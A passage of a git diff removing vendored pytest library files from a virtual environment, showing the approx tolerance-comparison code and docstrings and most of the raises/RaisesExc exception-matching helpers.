explicit tolerance as a timedelta for abs, or a float for rel. - Relative tolerance is not supported for datetime comparisons. - """ - - def __init__(self, expected, rel=None, abs=None, nan_ok: bool = False) -> None: - __tracebackhide__ = True - if isinstance(expected, datetime) and rel is not None: - raise TypeError( - "pytest.approx() does not support relative tolerance for " - "datetime comparisons. Use abs=timedelta(...) instead." - ) - if nan_ok: - raise TypeError( - "pytest.approx() does not support nan_ok for " - "datetime/timedelta comparisons." - ) - if abs is None and rel is None: - raise TypeError( - "pytest.approx() requires an explicit tolerance for " - "datetime/timedelta comparisons: " - "e.g. approx(expected, abs=timedelta(seconds=1)) " - "or approx(expected, rel=0.01)" - ) - if abs is not None and not isinstance(abs, timedelta): - raise TypeError( - f"absolute tolerance for datetime/timedelta must be a " - f"timedelta, got {type(abs).__name__}" - ) - if abs is not None and abs < timedelta(0): - raise ValueError(f"absolute tolerance can't be negative: {abs}") - if rel is not None: - if not isinstance(rel, (int, float)): - raise TypeError( - f"relative tolerance for timedelta must be a " - f"number, got {type(rel).__name__}" - ) - if rel < 0: - raise ValueError(f"relative tolerance can't be negative: {rel}") - if math.isnan(rel): - raise ValueError("relative tolerance can't be NaN.") - # Compute the effective tolerance. abs_tolerance is a timedelta, rel * expected - # gives a timedelta (timedelta * float works in Python). - abs_tolerance = abs - rel_tolerance = rel * builtins.abs(expected) if rel is not None else None - if abs_tolerance is not None and rel_tolerance is not None: - tolerance = max(abs_tolerance, rel_tolerance) - else: - tolerance = abs_tolerance if abs_tolerance is not None else rel_tolerance - super().__init__(expected, rel=rel, abs=tolerance, nan_ok=False) - - def __repr__(self) -> str: - return f"{self.expected} ± {self.abs}" - - def __eq__(self, actual) -> bool: - try: - return bool(builtins.abs(self.expected - actual) <= self.abs) - except (TypeError, OverflowError): - return False - - def _yield_comparisons(self, actual): - yield actual, self.expected - - def _repr_compare(self, other_side: Any) -> list[str]: - try: - abs_diff = builtins.abs(self.expected - other_side) - except (TypeError, OverflowError): - abs_diff = "N/A" - return [ - "comparison failed", - f"Obtained: {other_side}", - f"Expected: {self.expected} ± {self.abs}", - f"Absolute difference: {abs_diff}", - f"Tolerance: {self.abs}", - ] - - -def approx( - expected: Any, - rel: float | Decimal | timedelta | None = None, - abs: float | Decimal | timedelta | None = None, - nan_ok: bool = False, -) -> ApproxBase: - """Assert that two numbers (or two ordered sequences of numbers) are equal to each other - within some tolerance. - - Due to the :doc:`python:tutorial/floatingpoint`, numbers that we - would intuitively expect to be equal are not always so:: - - >>> 0.1 + 0.2 == 0.3 - False - - This problem is commonly encountered when writing tests, e.g. when making - sure that floating-point values are what you expect them to be. One way to - deal with this problem is to assert that two floating-point numbers are - equal to within some appropriate tolerance:: - - >>> abs((0.1 + 0.2) - 0.3) < 1e-6 - True - - However, comparisons like this are tedious to write and difficult to - understand. Furthermore, absolute comparisons like the one above are - usually discouraged because there's no tolerance that works well for all - situations. ``1e-6`` is good for numbers around ``1``, but too small for - very big numbers and too big for very small ones. It's better to express - the tolerance as a fraction of the expected value, but relative comparisons - like that are even more difficult to write correctly and concisely. - - The ``approx`` class performs floating-point comparisons using a syntax - that's as intuitive as possible:: - - >>> from pytest import approx - >>> 0.1 + 0.2 == approx(0.3) - True - - The same syntax also works for ordered sequences of numbers:: - - >>> (0.1 + 0.2, 0.2 + 0.4) == approx((0.3, 0.6)) - True - - ``numpy`` arrays:: - - >>> import numpy as np # doctest: +SKIP - >>> np.array([0.1, 0.2]) + np.array([0.2, 0.4]) == approx(np.array([0.3, 0.6])) # doctest: +SKIP - True - - And for a ``numpy`` array against a scalar:: - - >>> import numpy as np # doctest: +SKIP - >>> np.array([0.1, 0.2]) + np.array([0.2, 0.1]) == approx(0.3) # doctest: +SKIP - True - - Only ordered sequences are supported, because ``approx`` needs - to infer the relative position of the sequences without ambiguity. This means - ``sets`` and other unordered sequences are not supported. - - Finally, dictionary *values* can also be compared:: - - >>> {'a': 0.1 + 0.2, 'b': 0.2 + 0.4} == approx({'a': 0.3, 'b': 0.6}) - True - - The comparison will be true if both mappings have the same keys and their - respective values match the expected tolerances. - - **Tolerances** - - By default, ``approx`` considers numbers within a relative tolerance of - ``1e-6`` (i.e. one part in a million) of its expected value to be equal. - This treatment would lead to surprising results if the expected value was - ``0.0``, because nothing but ``0.0`` itself is relatively close to ``0.0``. - To handle this case less surprisingly, ``approx`` also considers numbers - within an absolute tolerance of ``1e-12`` of its expected value to be - equal. Infinity and NaN are special cases. Infinity is only considered - equal to itself, regardless of the relative tolerance. NaN is not - considered equal to anything by default, but you can make it be equal to - itself by setting the ``nan_ok`` argument to True. (This is meant to - facilitate comparing arrays that use NaN to mean "no data".) - - Both the relative and absolute tolerances can be changed by passing - arguments to the ``approx`` constructor:: - - >>> 1.0001 == approx(1) - False - >>> 1.0001 == approx(1, rel=1e-3) - True - >>> 1.0001 == approx(1, abs=1e-3) - True - - If you specify ``abs`` but not ``rel``, the comparison will not consider - the relative tolerance at all. In other words, two numbers that are within - the default relative tolerance of ``1e-6`` will still be considered unequal - if they exceed the specified absolute tolerance. If you specify both - ``abs`` and ``rel``, the numbers will be considered equal if either - tolerance is met:: - - >>> 1 + 1e-8 == approx(1) - True - >>> 1 + 1e-8 == approx(1, abs=1e-12) - False - >>> 1 + 1e-8 == approx(1, rel=1e-6, abs=1e-12) - True - - **Non-numeric types** - - You can also use ``approx`` to compare non-numeric types, or dicts and - sequences containing non-numeric types, in which case it falls back to - strict equality. This can be useful for comparing dicts and sequences that - can contain optional values:: - - >>> {"required": 1.0000005, "optional": None} == approx({"required": 1, "optional": None}) - True - >>> [None, 1.0000005] == approx([None,1]) - True - >>> ["foo", 1.0000005] == approx([None,1]) - False - - **datetime and timedelta** - - You can also use ``approx`` to compare :class:`~datetime.datetime` and - :class:`~datetime.timedelta` objects by specifying an absolute tolerance - as a :class:`~datetime.timedelta`:: - - >>> from datetime import datetime, timedelta - >>> dt1 = datetime(2024, 1, 1, 12, 0, 0) - >>> dt2 = datetime(2024, 1, 1, 12, 0, 0, 500000) - >>> dt1 == approx(dt2, abs=timedelta(seconds=1)) - True - - Note that ``rel`` is not supported for datetime comparisons. - For timedelta comparisons, ``rel`` is a number (not a timedelta) that - represents a relative tolerance -- a fraction of the expected value. - ``abs`` must be a ``timedelta`` object in both cases. - - .. versionadded:: 8.4 - - If you're thinking about using ``approx``, then you might want to know how - it compares to other good ways of comparing floating-point numbers. All of - these algorithms are based on relative and absolute tolerances and should - agree for the most part, but they do have meaningful differences: - - - ``math.isclose(a, b, rel_tol=1e-9, abs_tol=0.0)``: True if the relative - tolerance is met w.r.t. either ``a`` or ``b`` or if the absolute - tolerance is met. Because the relative tolerance is calculated w.r.t. - both ``a`` and ``b``, this test is symmetric (i.e. neither ``a`` nor - ``b`` is a "reference value"). You have to specify an absolute tolerance - if you want to compare to ``0.0`` because there is no tolerance by - default. More information: :py:func:`math.isclose`. - - - ``numpy.isclose(a, b, rtol=1e-5, atol=1e-8)``: True if the difference - between ``a`` and ``b`` is less that the sum of the relative tolerance - w.r.t. ``b`` and the absolute tolerance. Because the relative tolerance - is only calculated w.r.t. ``b``, this test is asymmetric and you can - think of ``b`` as the reference value. Support for comparing sequences - is provided by :py:func:`numpy.allclose`. More information: - :std:doc:`numpy:reference/generated/numpy.isclose`. - - - ``unittest.TestCase.assertAlmostEqual(a, b)``: True if ``a`` and ``b`` - are within an absolute tolerance of ``1e-7``. No relative tolerance is - considered , so this function is not appropriate for very large or very - small numbers. Also, it's only available in subclasses of ``unittest.TestCase`` - and it's ugly because it doesn't follow PEP8. More information: - :py:meth:`unittest.TestCase.assertAlmostEqual`. - - - ``a == pytest.approx(b, rel=1e-6, abs=1e-12)``: True if the relative - tolerance is met w.r.t. ``b`` or if the absolute tolerance is met. - Because the relative tolerance is only calculated w.r.t. ``b``, this test - is asymmetric and you can think of ``b`` as the reference value. In the - special case that you explicitly specify an absolute tolerance but not a - relative tolerance, only the absolute tolerance is considered. - - .. note:: - - ``approx`` can handle numpy arrays, but we recommend the - specialised test helpers in :std:doc:`numpy:reference/routines.testing` - if you need support for comparisons, NaNs, or ULP-based tolerances. - - To match strings using regex, you can use - `Matches `_ - from the - `re_assert package `_. - - - .. note:: - - Unlike built-in equality, this function considers - booleans unequal to numeric zero or one. For example:: - - >>> 1 == approx(True) - False - - .. warning:: - - .. versionchanged:: 3.2 - - In order to avoid inconsistent behavior, :py:exc:`TypeError` is - raised for ``>``, ``>=``, ``<`` and ``<=`` comparisons. - The example below illustrates the problem:: - - assert approx(0.1) > 0.1 + 1e-10 # calls approx(0.1).__gt__(0.1 + 1e-10) - assert 0.1 + 1e-10 > approx(0.1) # calls approx(0.1).__lt__(0.1 + 1e-10) - - In the second example one expects ``approx(0.1).__le__(0.1 + 1e-10)`` - to be called. But instead, ``approx(0.1).__lt__(0.1 + 1e-10)`` is used to - comparison. This is because the call hierarchy of rich comparisons - follows a fixed behavior. More information: :py:meth:`object.__ge__` - - .. versionchanged:: 3.7.1 - ``approx`` raises ``TypeError`` when it encounters a dict value or - sequence element of non-numeric type. - - .. versionchanged:: 6.1.0 - ``approx`` falls back to strict equality for non-numeric types instead - of raising ``TypeError``. - """ - # Delegate the comparison to a class that knows how to deal with the type - # of the expected value (e.g. int, float, list, dict, numpy.array, etc). - # - # The primary responsibility of these classes is to implement ``__eq__()`` - # and ``__repr__()``. The former is used to actually check if some - # "actual" value is equivalent to the given expected value within the - # allowed tolerance. The latter is used to show the user the expected - # value and tolerance, in the case that a test failed. - # - # The actual logic for making approximate comparisons can be found in - # ApproxScalar, which is used to compare individual numbers. All of the - # other Approx classes eventually delegate to this class. The ApproxBase - # class provides some convenient methods and overloads, but isn't really - # essential. - - __tracebackhide__ = True - - if isinstance(expected, Decimal): - cls: type[ApproxBase] = ApproxDecimal - elif isinstance(expected, Mapping): - cls = ApproxMapping - elif (np_array := _as_numpy_array(expected)) is not None: - expected = np_array - cls = ApproxNumpy - elif _is_sequence_like(expected): - cls = ApproxSequenceLike - elif isinstance(expected, Collection) and not isinstance(expected, str | bytes): - msg = f"pytest.approx() only supports ordered sequences, but got: {expected!r}" - raise TypeError(msg) - elif isinstance(expected, (datetime, timedelta)): - cls = ApproxTimedelta - else: - cls = ApproxScalar - - return cls(expected, rel, abs, nan_ok) - - -def _is_sequence_like(expected: object) -> bool: - return ( - hasattr(expected, "__getitem__") - and isinstance(expected, Sized) - and not isinstance(expected, str | bytes) - ) - - -def _as_numpy_array(obj: object) -> ndarray | None: - """ - Return an ndarray if the given object is implicitly convertible to ndarray, - and numpy is already imported, otherwise None. - """ - np: Any = sys.modules.get("numpy") - if np is not None: - # avoid infinite recursion on numpy scalars, which have __array__ - if np.isscalar(obj): - return None - elif isinstance(obj, np.ndarray): - return obj - elif hasattr(obj, "__array__") or hasattr(obj, "__array_interface__"): - return np.asarray(obj) - return None diff --git a/venv/Lib/site-packages/_pytest/raises.py b/venv/Lib/site-packages/_pytest/raises.py deleted file mode 100644 index ef91cc2c9fbddb57e1279d39af9e183cdbfc14f0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/raises.py +++ /dev/null @@ -1,1505 +0,0 @@ -from __future__ import annotations - -from abc import ABC -from abc import abstractmethod -import re -from re import Pattern -import sys -from textwrap import indent -from typing import Any -from typing import cast -from typing import final -from typing import Generic -from typing import get_args -from typing import get_origin -from typing import Literal -from typing import overload -from typing import TYPE_CHECKING -import warnings - -from _pytest._code import ExceptionInfo -from _pytest._code.code import stringify_exception -from _pytest.outcomes import fail -from _pytest.warning_types import PytestWarning - - -if TYPE_CHECKING: - from collections.abc import Callable - from collections.abc import Sequence - - # for some reason Sphinx does not play well with 'from types import TracebackType' - import types - from typing import TypeGuard - - from typing_extensions import ParamSpec - from typing_extensions import TypeVar - - P = ParamSpec("P") - - # this conditional definition is because we want to allow a TypeVar default - BaseExcT_co_default = TypeVar( - "BaseExcT_co_default", - bound=BaseException, - default=BaseException, - covariant=True, - ) - - # Use short name because it shows up in docs. - E = TypeVar("E", bound=BaseException, default=BaseException) -else: - from typing import TypeVar - - BaseExcT_co_default = TypeVar( - "BaseExcT_co_default", bound=BaseException, covariant=True - ) - -# RaisesGroup doesn't work with a default. -BaseExcT_co = TypeVar("BaseExcT_co", bound=BaseException, covariant=True) -BaseExcT_1 = TypeVar("BaseExcT_1", bound=BaseException) -BaseExcT_2 = TypeVar("BaseExcT_2", bound=BaseException) -ExcT_1 = TypeVar("ExcT_1", bound=Exception) -ExcT_2 = TypeVar("ExcT_2", bound=Exception) - -if sys.version_info < (3, 11): - from exceptiongroup import BaseExceptionGroup - from exceptiongroup import ExceptionGroup - - -# String patterns default to including the unicode flag. -_REGEX_NO_FLAGS = re.compile(r"").flags - - -# pytest.raises helper -@overload -def raises( - expected_exception: type[E] | tuple[type[E], ...], - *, - match: str | re.Pattern[str] | None = ..., - check: Callable[[E], bool] = ..., -) -> RaisesExc[E]: ... - - -@overload -def raises( - *, - match: str | re.Pattern[str], - # If exception_type is not provided, check() must do any typechecks itself. - check: Callable[[BaseException], bool] = ..., -) -> RaisesExc[BaseException]: ... - - -@overload -def raises(*, check: Callable[[BaseException], bool]) -> RaisesExc[BaseException]: ... - - -@overload -def raises( - expected_exception: type[E] | tuple[type[E], ...], - func: Callable[P, object], - *args: P.args, - **kwargs: P.kwargs, -) -> ExceptionInfo[E]: ... - - -def raises( - expected_exception: type[E] | tuple[type[E], ...] | None = None, - func: Callable[P, object] | None = None, - *args: Any, - **kwargs: Any, -) -> RaisesExc[BaseException] | ExceptionInfo[E]: - r"""Assert that a code block/function call raises an exception type, or one of its subclasses. - - :param expected_exception: - The expected exception type, or a tuple if one of multiple possible - exception types are expected. Note that subclasses of the passed exceptions - will also match. - - This is not a required parameter, you may opt to only use ``match`` and/or - ``check`` for verifying the raised exception. - - :kwparam str | re.Pattern[str] | None match: - If specified, a string containing a regular expression, - or a regular expression object, that is tested against the string - representation of the exception and its :pep:`678` `__notes__` - using :func:`re.search`. - - To match a literal string that may contain :ref:`special characters - `, the pattern can first be escaped with :func:`re.escape`. - - (This is only used when ``pytest.raises`` is used as a context manager, - and passed through to the function otherwise. - When using ``pytest.raises`` as a function, you can use: - ``pytest.raises(Exc, func, match="passed on").match("my pattern")``.) - - :kwparam Callable[[BaseException], bool] check: - - .. versionadded:: 8.4 - - If specified, a callable that will be called with the exception as a parameter - after checking the type and the match regex if specified. - If it returns ``True`` it will be considered a match, if not it will - be considered a failed match. - - - Use ``pytest.raises`` as a context manager, which will capture the exception of the given - type, or any of its subclasses:: - - >>> import pytest - >>> with pytest.raises(ZeroDivisionError): - ... 1/0 - - If the code block does not raise the expected exception (:class:`ZeroDivisionError` in the example - above), or no exception at all, the check will fail instead. - - You can also use the keyword argument ``match`` to assert that the - exception matches a text or regex:: - - >>> with pytest.raises(ValueError, match='must be 0 or None'): - ... raise ValueError("value must be 0 or None") - - >>> with pytest.raises(ValueError, match=r'must be \d+$'): - ... raise ValueError("value must be 42") - - The ``match`` argument searches the formatted exception string, which includes any - `PEP-678 `__ ``__notes__``: - - >>> with pytest.raises(ValueError, match=r"had a note added"): # doctest: +SKIP - ... e = ValueError("value must be 42") - ... e.add_note("had a note added") - ... raise e - - The ``check`` argument, if provided, must return True when passed the raised exception - for the match to be successful, otherwise an :exc:`AssertionError` is raised. - - >>> import errno - >>> with pytest.raises(OSError, check=lambda e: e.errno == errno.EACCES): - ... raise OSError(errno.EACCES, "no permission to view") - - The context manager produces an :class:`ExceptionInfo` object which can be used to inspect the - details of the captured exception:: - - >>> with pytest.raises(ValueError) as exc_info: - ... raise ValueError("value must be 42") - >>> assert exc_info.type is ValueError - >>> assert exc_info.value.args[0] == "value must be 42" - - .. warning:: - - Given that ``pytest.raises`` matches subclasses, be wary of using it to match :class:`Exception` like this:: - - # Careful, this will catch ANY exception raised. - with pytest.raises(Exception): - some_function() - - Because :class:`Exception` is the base class of almost all exceptions, it is easy for this to hide - real bugs, where the user wrote this expecting a specific exception, but some other exception is being - raised due to a bug introduced during a refactoring. - - Avoid using ``pytest.raises`` to catch :class:`Exception` unless certain that you really want to catch - **any** exception raised. - - .. note:: - - When using ``pytest.raises`` as a context manager, it's worthwhile to - note that normal context manager rules apply and that the exception - raised *must* be the final line in the scope of the context manager. - Lines of code after that, within the scope of the context manager will - not be executed. For example:: - - >>> value = 15 - >>> with pytest.raises(ValueError) as exc_info: - ... if value > 10: - ... raise ValueError("value must be <= 10") - ... assert exc_info.type is ValueError # This will not execute. - - Instead, the following approach must be taken (note the difference in - scope):: - - >>> with pytest.raises(ValueError) as exc_info: - ... if value > 10: - ... raise ValueError("value must be <= 10") - ... - >>> assert exc_info.type is ValueError - - **Expecting exception groups** - - When expecting exceptions wrapped in :exc:`BaseExceptionGroup` or - :exc:`ExceptionGroup`, you should instead use :class:`pytest.RaisesGroup`. - - **Using with** ``pytest.mark.parametrize`` - - When using :ref:`pytest.mark.parametrize ref` - it is possible to parametrize tests such that - some runs raise an exception and others do not. - - See :ref:`parametrizing_conditional_raising` for an example. - - .. seealso:: - - :ref:`assertraises` for more examples and detailed discussion. - - .. note:: - Similar to caught exception objects in Python, explicitly clearing - local references to returned ``ExceptionInfo`` objects can - help the Python interpreter speed up its garbage collection. - - Clearing those references breaks a reference cycle - (``ExceptionInfo`` --> caught exception --> frame stack raising - the exception --> current frame stack --> local variables --> - ``ExceptionInfo``) which makes Python keep all objects referenced - from that cycle (including all local variables in the current - frame) alive until the next cyclic garbage collection run. - More detailed information can be found in the official Python - documentation for :ref:`the try statement `. - """ - __tracebackhide__ = True - - if func is None and not args: - if set(kwargs) - {"match", "check", "expected_exception"}: - msg = "Unexpected keyword arguments passed to pytest.raises: " - msg += ", ".join(sorted(kwargs)) - msg += "\nUse context-manager form instead?" - raise TypeError(msg) - - if expected_exception is None: - return RaisesExc(**kwargs) - return RaisesExc(expected_exception, **kwargs) - - if not expected_exception: - raise ValueError( - f"Expected an exception type or a tuple of exception types, but got `{expected_exception!r}`. " - f"Raising exceptions is already understood as failing the test, so you don't need " - f"any special code to say 'this should never raise an exception'." - ) - if not callable(func): - raise TypeError(f"{func!r} object (type: {type(func)}) must be callable") - with RaisesExc(expected_exception) as excinfo: - func(*args, **kwargs) - try: - return excinfo - finally: - del excinfo - - -# note: RaisesExc/RaisesGroup uses fail() internally, so this alias -# indicates (to [internal] plugins?) that `pytest.raises` will -# raise `_pytest.outcomes.Failed`, where -# `outcomes.Failed is outcomes.fail.Exception is raises.Exception` -# note: this is *not* the same as `_pytest.main.Failed` -# note: mypy does not recognize this attribute, and it's not possible -# to use a protocol/decorator like the others in outcomes due to -# https://github.com/python/mypy/issues/18715 -raises.Exception = fail.Exception # type: ignore[attr-defined] - - -def _match_pattern(match: Pattern[str]) -> str | Pattern[str]: - """Helper function to remove redundant `re.compile` calls when printing regex""" - return match.pattern if match.flags == _REGEX_NO_FLAGS else match - - -def repr_callable(fun: Callable[[BaseExcT_1], bool]) -> str: - """Get the repr of a ``check`` parameter. - - Split out so it can be monkeypatched (e.g. by hypothesis) - """ - return repr(fun) - - -def backquote(s: str) -> str: - return "`" + s + "`" - - -def _exception_type_name( - e: type[BaseException] | tuple[type[BaseException], ...], -) -> str: - if isinstance(e, type): - return e.__name__ - if len(e) == 1: - return e[0].__name__ - return "(" + ", ".join(ee.__name__ for ee in e) + ")" - - -def _check_raw_type( - expected_type: type[BaseException] | tuple[type[BaseException], ...] | None, - exception: BaseException, -) -> str | None: - if expected_type is None or expected_type == (): - return None - - if not isinstance( - exception, - expected_type, - ): - actual_type_str = backquote(_exception_type_name(type(exception)) + "()") - expected_type_str = backquote(_exception_type_name(expected_type)) - if ( - isinstance(exception, BaseExceptionGroup) - and isinstance(expected_type, type) - and not issubclass(expected_type, BaseExceptionGroup) - ): - return f"Unexpected nested {actual_type_str}, expected {expected_type_str}" - return f"{actual_type_str} is not an instance of {expected_type_str}" - return None - - -def is_fully_escaped(s: str) -> bool: - # we know we won't compile with re.VERBOSE, so whitespace doesn't need to be escaped - metacharacters = "{}()+.*?^$[]|" - # Strip all escape sequences (backslash + any char), then check if any - # metacharacter remains unescaped in the resulting string. - stripped = re.sub(r"\\.", "", s) - return not any(c in metacharacters for c in stripped) - - -def unescape(s: str) -> str: - return re.sub(r"\\([{}()+-.*?^$\[\]\s\\|])", r"\1", s) - - -# These classes conceptually differ from ExceptionInfo in that ExceptionInfo is tied, and -# constructed from, a particular exception - whereas these are constructed with expected -# exceptions, and later allow matching towards particular exceptions. -# But there's overlap in `ExceptionInfo.match` and `AbstractRaises._check_match`, as with -# `AbstractRaises.matches` and `ExceptionInfo.errisinstance`+`ExceptionInfo.group_contains`. -# The interaction between these classes should perhaps be improved. -class AbstractRaises(ABC, Generic[BaseExcT_co]): - """ABC with common functionality shared between RaisesExc and RaisesGroup""" - - def __init__( - self, - *, - match: str | Pattern[str] | None, - check: Callable[[BaseExcT_co], bool] | None, - ) -> None: - if isinstance(match, str): - # juggle error in order to avoid context to fail (necessary?) - re_error = None - try: - self.match: Pattern[str] | None = re.compile(match) - except re.error as e: - re_error = e - if re_error is not None: - fail(f"Invalid regex pattern provided to 'match': {re_error}") - if match == "": - warnings.warn( - PytestWarning( - "matching against an empty string will *always* pass. If you want " - "to check for an empty message you need to pass '^$'. If you don't " - "want to match you should pass `None` or leave out the parameter." - ), - stacklevel=2, - ) - else: - self.match = match - - # check if this is a fully escaped regex and has ^$ to match fully - # in which case we can do a proper diff on error - self.rawmatch: str | None = None - if isinstance(match, str) or ( - isinstance(match, Pattern) and match.flags == _REGEX_NO_FLAGS - ): - if isinstance(match, Pattern): - match = match.pattern - if ( - match - and match[0] == "^" - and match[-1] == "$" - and is_fully_escaped(match[1:-1]) - ): - self.rawmatch = unescape(match[1:-1]) - - self.check = check - self._fail_reason: str | None = None - - # used to suppress repeated printing of `repr(self.check)` - self._nested: bool = False - - # set in self._parse_exc - self.is_baseexception = False - - def _parse_exc( - self, exc: type[BaseExcT_1] | types.GenericAlias, expected: str - ) -> type[BaseExcT_1]: - if isinstance(exc, type) and issubclass(exc, BaseException): - if not issubclass(exc, Exception): - self.is_baseexception = True - return exc - # because RaisesGroup does not support variable number of exceptions there's - # still a use for RaisesExc(ExceptionGroup[Exception]). - origin_exc: type[BaseException] | None = get_origin(exc) - if origin_exc and issubclass(origin_exc, BaseExceptionGroup): - exc_type = get_args(exc)[0] - if ( - issubclass(origin_exc, ExceptionGroup) and exc_type in (Exception, Any) - ) or ( - issubclass(origin_exc, BaseExceptionGroup) - and exc_type in (BaseException, Any) - ): - if not issubclass(origin_exc, ExceptionGroup): - self.is_baseexception = True - return cast(type[BaseExcT_1], origin_exc) - else: - raise ValueError( - f"Only `ExceptionGroup[Exception]` or `BaseExceptionGroup[BaseException]` " - f"are accepted as generic types but got `{exc}`. " - f"As `raises` will catch all instances of the specified group regardless of the " - f"generic argument specific nested exceptions has to be checked " - f"with `RaisesGroup`." - ) - # unclear if the Type/ValueError distinction is even helpful here - msg = f"Expected {expected}, but got " - if isinstance(exc, type): # type: ignore[unreachable] - raise ValueError(msg + f"{exc.__name__!r}") - if isinstance(exc, BaseException): # type: ignore[unreachable] - raise TypeError(msg + f"an exception instance: {type(exc).__name__}") - raise TypeError(msg + repr(type(exc).__name__)) - - @property - def fail_reason(self) -> str | None: - """Set after a call to :meth:`matches` to give a human-readable reason for why the match failed. - When used as a context manager the string will be printed as the reason for the - test failing.""" - return self._fail_reason - - def _check_check( - self: AbstractRaises[BaseExcT_1], - exception: BaseExcT_1, - ) -> bool: - if self.check is None: - return True - - if self.check(exception): - return True - - check_repr = "" if self._nested else " " + repr_callable(self.check) - self._fail_reason = f"check{check_repr} did not return True" - return False - - # TODO: harmonize with ExceptionInfo.match - def _check_match(self, e: BaseException) -> bool: - if self.match is None or re.search( - self.match, - stringified_exception := stringify_exception( - e, include_subexception_msg=False - ), - ): - return True - - # if we're matching a group, make sure we're explicit to reduce confusion - # if they're trying to match an exception contained within the group - maybe_specify_type = ( - f" the `{_exception_type_name(type(e))}()`" - if isinstance(e, BaseExceptionGroup) - else "" - ) - if isinstance(self.rawmatch, str): - from _pytest.assertion.compare_text import _diff_text - from _pytest.assertion.highlight import dummy_highlighter - from _pytest.assertion.util import _config - from _pytest.config import Config - - verbose = ( - _config.get_verbosity(Config.VERBOSITY_ASSERTIONS) - if _config is not None - else 0 - ) - diff = list( - _diff_text( - self.rawmatch, stringified_exception, dummy_highlighter, verbose - ) - ) - self._fail_reason = ("\n" if diff[0][0] == "-" else "") + "\n".join(diff) - return False - - self._fail_reason = ( - f"Regex pattern did not match{maybe_specify_type}.\n" - f" Expected regex: {_match_pattern(self.match)!r}\n" - f" Actual message: {stringified_exception!r}" - ) - if _match_pattern(self.match) == stringified_exception: - self._fail_reason += "\n Did you mean to `re.escape()` the regex?" - return False - - @abstractmethod - def matches( - self: AbstractRaises[BaseExcT_1], exception: BaseException - ) -> TypeGuard[BaseExcT_1]: - """Check if an exception matches the requirements of this AbstractRaises. - If it fails, :meth:`AbstractRaises.fail_reason` should be set. - """ - - -@final -class RaisesExc(AbstractRaises[BaseExcT_co_default]): - """ - .. versionadded:: 8.4 - - - This is the class constructed when calling :func:`pytest.raises`, but may be used - directly as a helper class with :class:`RaisesGroup` when you want to specify - requirements on sub-exceptions. - - You don't need this if you only want to specify the type, since :class:`RaisesGroup` - accepts ``type[BaseException]``. - - :param type[BaseException] | tuple[type[BaseException]] | None expected_exception: - The expected type, or one of several possible types. - May be ``None`` in order to only make use of ``match`` and/or ``check`` - - The type is checked with :func:`isinstance`, and does not need to be an exact match. - If that is wanted you can use the ``check`` parameter. - - :kwparam str | Pattern[str] match: - A regex to match. - - :kwparam Callable[[BaseException], bool] check: - If specified, a callable that will be called with the exception as a parameter - after checking the type and the match regex if specified. - If it returns ``True`` it will be considered a match, if not it will - be considered a failed match. - - :meth:`RaisesExc.matches` can also be used standalone to check individual exceptions. - - Examples:: - - with RaisesGroup(RaisesExc(ValueError, match="string")) - ... - with RaisesGroup(RaisesExc(check=lambda x: x.args == (3, "hello"))): - ... - with RaisesGroup(RaisesExc(check=lambda x: type(x) is ValueError)): - ... - """ - - # Trio bundled hypothesis monkeypatching, we will probably instead assume that - # hypothesis will handle that in their pytest plugin by the time this is released. - # Alternatively we could add a version of get_pretty_function_description ourselves - # https://github.com/HypothesisWorks/hypothesis/blob/8ced2f59f5c7bea3344e35d2d53e1f8f8eb9fcd8/hypothesis-python/src/hypothesis/internal/reflection.py#L439 - - # At least one of the three parameters must be passed. - @overload - def __init__( - self, - expected_exception: ( - type[BaseExcT_co_default] | tuple[type[BaseExcT_co_default], ...] - ), - /, - *, - match: str | Pattern[str] | None = ..., - check: Callable[[BaseExcT_co_default], bool] | None = ..., - ) -> None: ... - - @overload - def __init__( - self: RaisesExc[BaseException], # Give E a value. - /, - *, - match: str | Pattern[str] | None, - # If exception_type is not provided, check() must do any typechecks itself. - check: Callable[[BaseException], bool] | None = ..., - ) -> None: ... - - @overload - def __init__(self, /, *, check: Callable[[BaseException], bool]) -> None: ... - - def __init__( - self, - expected_exception: ( - type[BaseExcT_co_default] | tuple[type[BaseExcT_co_default], ...] | None - ) = None, - /, - *, - match: str | Pattern[str] | None = None, - check: Callable[[BaseExcT_co_default], bool] | None = None, - ): - super().__init__(match=match, check=check) - if isinstance(expected_exception, tuple): - expected_exceptions = expected_exception - elif expected_exception is None: - expected_exceptions = () - else: - expected_exceptions = (expected_exception,) - - if (expected_exceptions == ()) and match is None and check is None: - raise ValueError("You must specify at least one parameter to match on.") - - self.expected_exceptions = tuple( - self._parse_exc(e, expected="a BaseException type") - for e in expected_exceptions - ) - - self._just_propagate = False - - def matches( - self, - exception: BaseException | None, - ) -> TypeGuard[BaseExcT_co_default]: - """Check if an exception matches the requirements of this :class:`RaisesExc`. - If it fails, :attr:`RaisesExc.fail_reason` will be set. - - Examples:: - - assert RaisesExc(ValueError).matches(my_exception): - # is equivalent to - assert isinstance(my_exception, ValueError) - - # this can be useful when checking e.g. the ``__cause__`` of an exception. - with pytest.raises(ValueError) as excinfo: - ... - assert RaisesExc(SyntaxError, match="foo").matches(excinfo.value.__cause__) - # above line is equivalent to - assert isinstance(excinfo.value.__cause__, SyntaxError) - assert re.search("foo", str(excinfo.value.__cause__) - - """ - self._just_propagate = False - if exception is None: - self._fail_reason = "exception is None" - return False - if not self._check_type(exception): - self._just_propagate = True - return False - - if not self._check_match(exception): - return False - - return self._check_check(exception) - - def __repr__(self) -> str: - parameters = [] - if self.expected_exceptions: - parameters.append(_exception_type_name(self.expected_exceptions)) - if self.match is not None: - # If no flags were specified, discard the redundant re.compile() here. - parameters.append( - f"match={_match_pattern(self.match)!r}", - ) - if self.check is not None: - parameters.append(f"check={repr_callable(self.check)}") - return f"RaisesExc({', '.join(parameters)})" - - def _check_type(self, exception: BaseException) -> TypeGuard[BaseExcT_co_default]: - self._fail_reason = _check_raw_type(self.expected_exceptions, exception) - return self._fail_reason is None - - def __enter__(self) -> ExceptionInfo[BaseExcT_co_default]: - self.excinfo: ExceptionInfo[BaseExcT_co_default] = ExceptionInfo.for_later() - return self.excinfo - - # TODO: move common code into superclass - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: types.TracebackType | None, - ) -> bool: - __tracebackhide__ = True - if exc_type is None: - if not self.expected_exceptions: - fail("DID NOT RAISE any exception") - if len(self.expected_exceptions) == 1: - fail(f"DID NOT RAISE {self.expected_exceptions[0].__name__}") - else: - names = ", ".join(x.__name__ for x in self.expected_exceptions) - fail(f"DID NOT RAISE any of ({names})") - - assert self.excinfo is not None, ( - "Internal error - should have been constructed in __enter__" - ) - - if not self.matches(exc_val): - if 